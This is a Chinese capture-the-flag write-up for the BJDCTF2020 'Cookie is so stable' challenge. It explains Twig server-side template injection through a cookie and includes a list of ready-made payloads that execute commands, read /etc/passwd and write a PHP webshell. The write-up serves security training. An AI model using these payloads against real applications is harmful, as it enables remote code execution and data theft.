云计算百科
云计算领域专业知识百科平台

[BJDCTF2020]Cookie is so stable

开篇看到 Flag 点进看看:

falg输入什么就返回什么

再看看源码

<!DOCTYPE html>
<html>
<head>
<title>
Cookie_is_so_subtle!
</title>
<meta charset="utf-8" name="viewport" content="width=device-width, initial-scale=1.0">
<!– Bootstrap –>
<link href="bootstrap/css/bootstrap.min.css" rel="stylesheet" media="screen">
<link href="css/shana_flag.css" rel="stylesheet" media="screen">
<script src="jquery/jquery-3.3.1.min.js"></script>
<script src="bootstrap/js/bootstrap.min.js"></script>

<!– HTML5 Shim and Respond.js IE8 support of HTML5 elements and media
queries –>
<!– WARNING: Respond.js doesn't work if you view the page via file://
–>
<!–[if lt IE 9]>
<script src="http://labfile.oss.aliyuncs.com/html5shiv/3.7.0/html5shiv.js">
</script>
<script src="http://labfile.oss.aliyuncs.com/respond.js/1.3.0/respond.min.js">
</script>
<![endif]–>
</head>

<body>

<nav class="navbar navbar-default navbar-static-top nav1">
<div class="container-fluid">
<div class="navbar-header ul-head0">
<button class="navbar-toggle collapsed" data-target=".navbar-collapse" data-toggle="collapse" type="button">
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a href="index.php" class="navbar-brand">BJDCTF</a>
</div>

<div class="navbar-collapse collapse nav2" aria-expanded="false" style="height: 0px">
<ul class="nav navbar-nav ul-head1">
<li class=""><a href="flag.php">Flag</a></li>
<li class=""><a href="hint.php">Hint</a></li>
</ul>

<ul class="nav navbar-nav navbar-right ul-head2">
<li class=""><a href="index.php">@Shana</a></li>
</ul>
</div>
</div>
</nav><div class="container panel1">
<div class="row">
<div class="col-md-4">
</div>
<div class="col-md-4">
<div class="jumbotron pan"> <div class="form-group log">
<label><h2>Hello Aadmin</h2></label>
</div> <div class="row pt-3">
<div class="col-md-12">
<a href="logout.php"><button type="submit" form="form1" name="Logout" value="logout" class="btn btn-default float-right" >Logout</button></a>
</div>
</div>

</div>
</div>
<div class="col-md-4">
</div>
</div>
</div>
</body>
</html>

在页面源代码中发现提示查看cookies

通过抓包,发现cookie里面出现user。尝试多次后,发现是ssti注入

输入user={{7*'7'}}测试一下,确实存在(注意cookie的user前面的连接是;)

同时也判断了ssti注入的类型

输入{{7*‘7’}},返回49表示是 Twig 模块

输入{{7*‘7’}},返回7777777表示是 Jinja2 模块

模板注入是Twig注入

所以是有固定的payload

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

获取 flag

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

twig常用的注入payload:

{{'/etc/passwd'|file_excerpt(1,30)}}
{{app.request.files.get(1).__construct('/etc/passwd','')}}
{{app.request.files.get(1).openFile.fread(99)}}
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("whoami")}}
{{_self.env.enableDebug()}}{{_self.env.isDebug()}}
{{["id"]|map("system")|join(",")
{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}
{{["id",0]|sort("system")|join(",")}}
{{["id"]|filter("system")|join(",")}}
{{[0,0]|reduce("system","id")|join(",")}}
{{['cat /etc/passwd']|filter('system')}}

关键注意事项

  • Cookie格式:修改user字段时,需确保其与其他Cookie参数(如PHPSESSID)用;分隔,例如:Cookie: PHPSESSID=xxx; user={{Payload}}。
  • 模板类型区分:若未正确判断模板类型(如误判为Jinja2),可能导致Payload无效,需通过{{7*'7'}}测试先行确认。

总结

        本题通过Cookie参数的模板注入漏洞,结合Twig引擎的特性实现命令执行,核心在于识别注入点、判断模板类型及构造专用Payload。此类漏洞在Web开发中较为常见,需注意对用户可控参数的严格过滤与模板引擎的安全配置

赞(0)
未经允许不得转载:网硕互联帮助中心 » [BJDCTF2020]Cookie is so stable
分享到: 更多 (0)

评论 抢沙发

评论前必须登录!